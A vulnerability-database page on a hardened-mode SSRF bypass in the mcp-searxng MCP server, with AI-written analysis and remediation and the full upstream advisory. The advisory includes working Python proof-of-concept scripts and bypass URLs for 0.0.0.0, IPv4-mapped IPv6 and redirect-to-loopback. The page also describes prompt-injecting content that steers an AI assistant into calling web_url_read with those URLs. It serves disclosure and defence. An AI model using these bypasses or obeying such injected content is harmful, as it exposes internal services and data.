What is the CVSS score of EUVD-2026-78921?

EUVD-2026-78921 has a CVSS 3.1 base score of 6.3 (Medium). CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. EPSS exploitation probability: 0.1%.

Is there a patch available for EUVD-2026-78921?

Yes, a patch is available for EUVD-2026-78921. Update the affected software to the latest version immediately.

mcp-searxng EUVD-2026-78921

| CVE-2026-54689 MEDIUM

Information Exposure (CWE-200)

2026-08-19 https://github.com/ihor-sokoliuk/mcp-searxng

GHSA-wppf-h75h-6pm6

Information Disclosure SSRF Node.js Redis Elastic

6.3

CVSS 3.1 · Vendor: https://github.com/ihor-sokoliuk/mcp-searxng

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Serve prompt-injecting content to AI assistant
Delivery

AI invokes web_url_read with bypass URL (0.0.0.0, IPv6 literal, or redirect chain)
Exploit

Hardened-mode private-address filter bypassed
Execution

MCP server fetches loopback or internal service
Persist

Internal service response returned to AI context
Impact

Sensitive internal data disclosed

Vulnerability Assessment

Weakness	CWE CWE-200 OWASP Top 10:2025 A01:2025 - Broken Access Control ASVS 5.0 V14 - Data Protection Data exposure prevention MITRE ATT&CK 2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Exploitation requires mcp-searxng to be deployed with `MCP_HTTP_HARDEN=true` and `MCP_HTTP_ALLOW_PRIVATE_URLS` unset or explicitly denying private URLs - the exact hardened-mode configuration the security feature is designed to enforce. The `web_url_read` tool must be invoked with one of three bypass-form URLs: `http://0.0.0.0:<port>/path` (exploits missing 0.0.0.0/8 blocklist entry), `http://[::ffff:127.0.0.1]:<port>/path` (exploits post-canonicalization regex mismatch where Node's URL parser emits `::ffff:7f00:1` not `::ffff:127.0.0.1`), or a URL on an attacker-controlled non-private host that responds with `302 Location: http://127.0.0.1:<port>/path` (exploits single-hop policy validation without redirect re-checking). Package version must be prior to 1.2.1. User interaction is required - a human operator or AI assistant must invoke the tool with the crafted URL (UI:R in the CVSS vector). The target internal service must be TCP-reachable from the MCP server host. Exploitation is limited to confidentiality; no write, delete, or availability primitives are demonstrated. The constraint that limits exposure is that the MCP server must be configured in hardened mode (non-default for many deployments), yet hardened mode is precisely the configuration intended to be the security boundary.
Impact	The NVD-assigned CVSS 3.1 base score of 6.3 (Medium) uses AV:L (local attack vector), AC:L, PR:N, UI:R, S:C, C:H, I:N, A:N. The local vector designation is defensible for the stdio-based MCP deployment model where a human or process must directly invoke the tool. However, the practical threat model in AI-assisted deployments is broader: attacker-controlled web content can prompt-inject an AI assistant into calling `web_url_read` with bypass URLs, effectively making this network-reachable through the AI intermediary - a scenario CVSS does not natively capture and which raises real-world severity beyond what AV:L implies. The S:C (scope changed) metric correctly reflects crossing from the MCP server trust boundary into internal network resources. No EPSS score is present in the provided data, and the vulnerability is not listed in CISA KEV, so mass exploitation is not confirmed. The presence of detailed, working PoC code for all three bypass techniques in the public GitHub advisory significantly lowers the barrier to exploitation. For deployments relying on hardened mode as a meaningful security control - particularly those processing untrusted content via AI assistants - real-world risk is meaningfully higher than the medium CVSS score suggests. The fix in v1.2.1 is confirmed.
Exploit ScenarioDerived	An attacker serves a web page or document containing text that prompt-injects an AI assistant into calling `web_url_read` with the URL `http://0.0.0.0:6789/` or `http://[::ffff:127.0.0.1]:6789/`. The mcp-searxng server, running with `MCP_HTTP_HARDEN=true`, evaluates the URL against its private-address filter, which passes `0.0.0.0` and the canonicalized IPv6 form, then fetches and returns the response from the local loopback service - exposing Redis keyspace data, internal admin panel content, or cloud metadata endpoint responses - into the AI conversation context. Working PoC scripts for all three bypass techniques are publicly available in the GitHub advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).

Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Hardened-mode SSRF protections in the mcp-searxng Node.js MCP server (npm/mcp-searxng < 1.2.1) can be bypassed via three distinct techniques, allowing web_url_read to fetch loopback and internal network resources despite MCP_HTTP_HARDEN=true being set. The bypasses exploit: unvalidated HTTP redirect chains to internal addresses, the unblocked 0.0.0.0 special address, and IPv4-mapped IPv6 literals that survive Node's WHATWG URL canonicalization intact but defeat regex-based private-address filters. Publicly available proof-of-concept code demonstrates all three bypass paths returning content from a loopback sentinel service; no KEV listing exists at time of analysis.

RemediationAI

Upgrade mcp-searxng to version 1.2.1 or later via npm install mcp-searxng@1.2.1, which resolves the hardened-mode SSRF bypasses documented in issue #91 and GHSA-wppf-h75h-6pm6 (https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1). If immediate upgrade is not feasible, three compensating controls are available with distinct trade-offs: (1) disable the web_url_read tool entirely in the MCP server configuration - this eliminates all exposure but removes URL-reading functionality from AI workflows; (2) restrict network egress from the MCP server host at the OS or firewall level to block outbound connections to RFC 1918 ranges, loopback, and IANA special-purpose blocks (0.0.0.0/8, 169.254.0.0/16, 100.64.0.0/10, 192.0.2.0/24) - this mitigates impact without disabling the feature but requires host-level firewall capability and does not prevent the redirect bypass unless the internal targets are also blocked; (3) avoid deploying the MCP server in environments where AI assistants process untrusted external content that could influence tool invocations. Upgrade to v1.2.1 is strongly preferred over any workaround.

Affected VersionsENISA

mcp-searxng < 1.2.0

Affected Packages

npm mcp-searxng fix: 1.2.0, 1.2.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

mcp-searxng is a Node.js Model Context Protocol (MCP) server that exposes a web_url_read tool for external URL fetching. Its hardened mode (MCP_HTTP_HARDEN=true) is intended to prevent Server-Side Request Forgery by blocking URLs that resolve to private or internal network ranges. The assigned CWE-200 (Information Exposure) describes the impact, but the root cause mechanism is CWE-918 (SSRF). Three implementation gaps exist: first, the private-address policy is applied only to the initial URL - HTTP redirect targets returned via 302 Location headers are followed by fetch() without re-applying the same policy, allowing a non-private first-hop host to pivot requests to 127.0.0.1. Second, 0.0.0.0 is absent from the special-purpose address blocklist; on Linux, connecting to 0.0.0.0:<port> reaches services bound on loopback or wildcard interfaces. Third, the IPv4-mapped IPv6 filter expects dotted-decimal form (::ffff:127.0.0.1) but Node's WHATWG URL parser canonicalizes this to hex notation (::ffff:7f00:1), causing regex-based checks to miss the private mapping. Affected package: pkg:npm/mcp-searxng, versions prior to 1.2.1.

Know when Redis gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ihor-sokoliuk/mcp-searxng) PRIMARY 6.3 MEDIUM

AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

vuln.today AI 6.1 MEDIUM

AV:N reflects prompt-injection attack path through AI assistants; AC:H captures the prerequisite that attacker-controlled content must successfully influence AI tool invocation; S:C and C:H reflect internal resource disclosure across the trust boundary.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

4.0 AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from Vendor (https://github.com/ihor-sokoliuk/mcp-searxng).

CVSS VectorVendor: https://github.com/ihor-sokoliuk/mcp-searxng

Attack Vector

Local

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

None

Availability

None

DescriptionCVE.org

Summary

mcp-searxng has a hardened-mode URL-reading feature intended to prevent web_url_read from reaching private or internal network resources.

PR #79 appears to address one SSRF class: hostnames that resolve to private or internal addresses under hardened mode. I tested PR #79 locally and confirmed that it blocks the DNS-resolves-to-loopback case.

However, several other hardened-mode SSRF bypasses still appear to remain:

Redirects from an allowed first-hop URL to a loopback/internal URL are followed without re-validating the redirect target.
0.0.0.0 is not treated as an internal/special address.
IPv4-mapped IPv6 literals can bypass private-address checks after URL canonicalization.

With hardened mode enabled and private URLs not explicitly allowed, web_url_read was still able to fetch and return content from a local loopback sentinel service in all three cases.

Tested configuration

bash

MCP_HTTP_HARDEN=true
MCP_HTTP_ALLOW_PRIVATE_URLS unset

The MCP server was driven over stdio.

The test target was a harmless internal sentinel HTTP service bound to:

text

127.0.0.1:6789

The sentinel response contained:

text

INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

Relationship to PR #79

I tested PR #79 locally:

PR: fix(url-reader): block DNS-rebinding SSRF via socket-level lookup guard (CWE-918) #79
PR commit tested: e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4
Base issue class: CWE-918 / SSRF in web_url_read
Hardened mode: enabled

Observed results:

text

Case                                         Result on PR #79
-------------------------------------------------------------
DNS hostname resolving to 127.0.0.1          blocked
0.0.0.0                                      BYPASS
[::ffff:127.0.0.1]                           BYPASS
redirect from non-private IP to 127.0.0.1    BYPASS

So PR #79 is a useful fix, but it does not fully close hardened-mode internal URL access.

Root cause

1. Redirect targets are not re-validated

The URL policy appears to be applied to the initial URL, but redirect targets are followed by fetch() without applying the same policy to each hop.

A non-private attacker-controlled first-hop URL can respond with:

http

302 Location: http://127.0.0.1:6789/secret

The request is then followed to loopback.

This is independent of DNS rebinding. Even if the initial host is a non-private IP literal, the redirect can still pivot to 127.0.0.1.

2. `0.0.0.0` is not treated as internal

0.0.0.0 is not currently blocked by the private IPv4 predicate. On Linux, connecting to 0.0.0.0:<port> can reach a local service bound on loopback or wildcard interfaces.

In my test, this URL returned the sentinel from the local loopback service:

text

http://0.0.0.0:6789/secret

3. IPv4-mapped IPv6 canonicalization bypass

The current IPv4-mapped IPv6 handling appears to expect a dotted-decimal tail such as:

text

::ffff:127.0.0.1

However, Node's WHATWG URL parser canonicalizes:

new URL("http://[::ffff:127.0.0.1]/").hostname

to:

text

[::ffff:7f00:1]

As a result, regex logic that expects the dotted-decimal form can miss the private IPv4-mapped address.

In my test, this URL returned the loopback sentinel:

text

http://[::ffff:127.0.0.1]:6789/secret

Impact

This is a hardened-mode SSRF bypass.

The sentinel service in the PoC is intentionally local and harmless. It represents an internal-only service reachable from the MCP server host.

In real deployments, the same class of issue could allow web_url_read to reach:

local admin panels bound to loopback;
Redis, Elasticsearch, or other local HTTP-like services;
internal HTTP APIs on private networks;
service mesh endpoints;
cloud metadata endpoints, depending on routing and environment.

This is especially relevant for MCP deployments because tool calls may be selected by an AI assistant. If untrusted content can influence tool use, it may be able to trigger web_url_read with one of these bypass URLs.

Proof of Concept

1. Build the PR #79 branch

bash

cd /home/exouser/Desktop
mkdir -p searxng_pr79_test
cd searxng_pr79_test

git clone --depth 1 \
  -b fix/cwe918-url-reader-ssrf-4676 \
  https://github.com/sebastiondev/mcp-searxng.git pr79

cd pr79
git rev-parse HEAD

npm install --no-audit --no-fund
npm run build

ls -l dist/index.js

Expected PR commit:

text

e55d28e7be6786a71cd7a0eaf13d3ec9d0b734d4

2. Start an internal sentinel service

This service represents an internal-only HTTP service reachable from the MCP server host.

bash

cat > /tmp/searxng_sentinel_server.py <<'PY'
#!/usr/bin/env python3
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 6789
SENTINEL = b"INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        body = b"<html><body><h1>internal</h1><p>" + SENTINEL + b"</p></body></html>"
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        sys.stderr.write("[sentinel %s] %s\n" % (PORT, fmt % args))

def serve_v4():
    HTTPServer(("127.0.0.1", PORT), H).serve_forever()

def serve_v6():
    try:
        import socket
        class HTTPServerV6(HTTPServer):
            address_family = socket.AF_INET6
        HTTPServerV6(("::1", PORT), H).serve_forever()
    except Exception as e:
        sys.stderr.write(f"[sentinel] IPv6 listener failed: {e}\n")

threading.Thread(target=serve_v4, daemon=True).start()
serve_v6()
PY

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
nohup python3 /tmp/searxng_sentinel_server.py 6789 >/tmp/searxng_sentinel.log 2>&1 &
sleep 1

curl -sS http://127.0.0.1:6789/secret

Expected output contains:

text

INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2

3. PoC A: `0.0.0.0`

bash

cat > /tmp/poc_0_0_0_0.py <<'PY'
#!/usr/bin/env python3
import json
import os
import subprocess
import time
import sys
from pathlib import Path

REPO = Path("/home/exouser/Desktop/searxng_pr79_test/pr79")
SERVER = REPO / "dist" / "index.js"
SENTINEL = "INTERNAL_SECRET_DATA__mcp_searxng_ssrf_path2"

ENV = {
    "MCP_HTTP_HARDEN": "true",
    "MCP_HTTP_AUTH_TOKEN": "poc-token",
    "MCP_HTTP_ALLOWED_ORIGINS": "http://localhost:9999",
}

def send(p, o):
    p.stdin.write((json.dumps(o) + "\n").encode())
    p.stdin.flush()

def recv(p, want_id, timeout=20):
    end = time.time() + timeout
    while time.time() < end:
        line = p.stdout.readline()
        if not line:
            time.sleep(0.05)
            continue
        try:
            m = json.loads(line.decode())
        except Exception:
            continue
        if m.get("id") == want_id:
            return m
    raise TimeoutError()

def main():
    url = "http://0.0.0.0:6789/secret"
    print(f"[poc] hardened-mode read_url url = {url!r}")

    p = subprocess.Popen(
        ["node", str(SERVER)],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        cwd=str(REPO),
        env={**os.environ, **ENV},
    )

    try:
        send(p, {
            "jsonrpc": "2.0",
            "id": 1,
            "method": "initialize",
            "params": {
                "protocolVersion": "2024-11-05",
                "capabilities": {},
                "clientInfo": {"name": "poc", "version": "0"}
            }
        })
        recv(p, 1)

        send(p, {
            "jsonrpc": "2.0",
            "method": "notifications/initialized",
            "params": {}
        })

        send(p, {
            "jsonrpc": "2.0",
            "id": 2,
            "method": "tools/call",
            "params": {
                "name": "web_url_read",
                "arguments": {
                    "url": url,
                    "maxLength": 400
                }
            }
        })

        r = recv(p, 2)
    finally:
        try:
            p.terminate()
            p.wait(timeout=3)
        except Exception:
            p.kill()

    text = json.dumps(r).replace("\\\\_", "_").replace("\\_", "_")
    if SENTINEL in text:
        print("[poc] RESULT: BYPASS - sentinel returned")
        try:
            print("[poc] tool returned:", repr(r["result"]["content"][0]["text"][:200]))
        except Exception:
            pass
        sys.exit(0)

    print("[poc] RESULT: blocked / failed")
    print(json.dumps(r)[:500])
    sys.exit(1)

if __name__ == "__main__":
    main()
PY

python3 /tmp/poc_0_0_0_0.py

Observed:

text

[poc] hardened-mode read_url url = 'http://0.0.0.0:6789/secret'
[poc] RESULT: BYPASS - sentinel returned

4. PoC B: IPv4-mapped IPv6

bash

sed 's|http://0.0.0.0:6789/secret|http://[::ffff:127.0.0.1]:6789/secret|' \
  /tmp/poc_0_0_0_0.py > /tmp/poc_ipv4_mapped_ipv6.py

python3 /tmp/poc_ipv4_mapped_ipv6.py

Observed:

text

[poc] hardened-mode read_url url = 'http://[::ffff:127.0.0.1]:6789/secret'
[poc] RESULT: BYPASS - sentinel returned

5. PoC C: redirect from a non-private first-hop address to loopback

This uses 198.51.100.1 as a safe local stand-in for a non-private attacker-controlled first-hop address.

bash

sudo ip addr add 198.51.100.1/32 dev lo

cat > /tmp/redirector_public.py <<'PY'
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:6789/secret")
        self.send_header("Content-Length", "0")
        self.end_headers()

    def log_message(self, *args, **kwargs):
        pass

HTTPServer(("198.51.100.1", 6790), H).serve_forever()
PY

fuser -k 6790/tcp 2>/dev/null || true
nohup python3 /tmp/redirector_public.py >/tmp/searxng_redirector_public.log 2>&1 &
sleep 1

curl -sSL http://198.51.100.1:6790/jump

The curl sanity check should return the internal sentinel.

Now run the MCP request:

bash

sed 's|http://0.0.0.0:6789/secret|http://198.51.100.1:6790/jump|' \
  /tmp/poc_0_0_0_0.py > /tmp/poc_redirect_public_to_loopback.py

python3 /tmp/poc_redirect_public_to_loopback.py

Observed:

text

[poc] hardened-mode read_url url = 'http://198.51.100.1:6790/jump'
[poc] RESULT: BYPASS - sentinel returned

Cleanup

bash

fuser -k 6789/tcp 6790/tcp 2>/dev/null || true
sudo ip addr del 198.51.100.1/32 dev lo 2>/dev/null || true

Reproduction note

NodeHtmlMarkdown escapes _ to \_, so the sentinel may appear in the MCP response as:

text

INTERNAL\_SECRET\_DATA\_\_mcp\_searxng\_ssrf\_path2

When grepping or matching the response, either match against the escaped form or normalize \_ back to _.

Expected behavior

When hardened mode is enabled and private URLs are not explicitly allowed, web_url_read should not be able to fetch loopback or internal resources through:

direct special-address literals;
IPv4-mapped IPv6 literals;
redirect chains;
hostnames that resolve to private or internal addresses.

Actual behavior

With hardened mode enabled, PR #79 blocks the DNS hostname case, but the following still return content from a loopback service:

text

http://0.0.0.0:6789/secret
http://[::ffff:127.0.0.1]:6789/secret
http://198.51.100.1:6790/jump  -> 302 Location: http://127.0.0.1:6789/secret

Suggested fix

A complete fix likely needs more than a connect-time DNS lookup guard.

Suggested changes:

Re-validate every redirect hop. One option is to use redirect: "manual" and apply the same URL policy to each Location before following it.
Treat 0.0.0.0/8 and other IANA special-purpose ranges as internal/non-public.
Handle IPv4-mapped IPv6 after canonicalization, including forms such as [::ffff:7f00:1].
Apply private-address checks to IP literals directly, not only through DNS lookup hooks.
Use an IP parsing library or byte-level address checks instead of regex-only IPv6 matching.
Add regression tests for:
redirect to 127.0.0.1;
0.0.0.0;
[::ffff:127.0.0.1];
hostname resolving to 127.0.0.1;
decimal IPv4 normalization remaining blocked.

Threat Intelligence Overview

EPSS Score

0.1%

Top 97% exploitable

Prevalence

Low

niche npm MCP server package, limited enterprise production footprint

Threat Intel

1 source

Data Quality

5 sources

Confidence: Medium

EUVD

NVD

CVE.org

EPSS GHSA

GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity MEDIUM

CISA KEV No

Public POC No

EPSS 0.1%

Patch available Yes

Active threat No

Deciding rule

MEDIUM severity (CVSS 4.0-6.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Defer

Exploitation· derived

None

System Exposure· derived

Small

Automatable· derived

Human Impact· derived

Medium

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +32

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Server-Side Request Forgery HIGH

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Information Disclosure MEDIUM

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.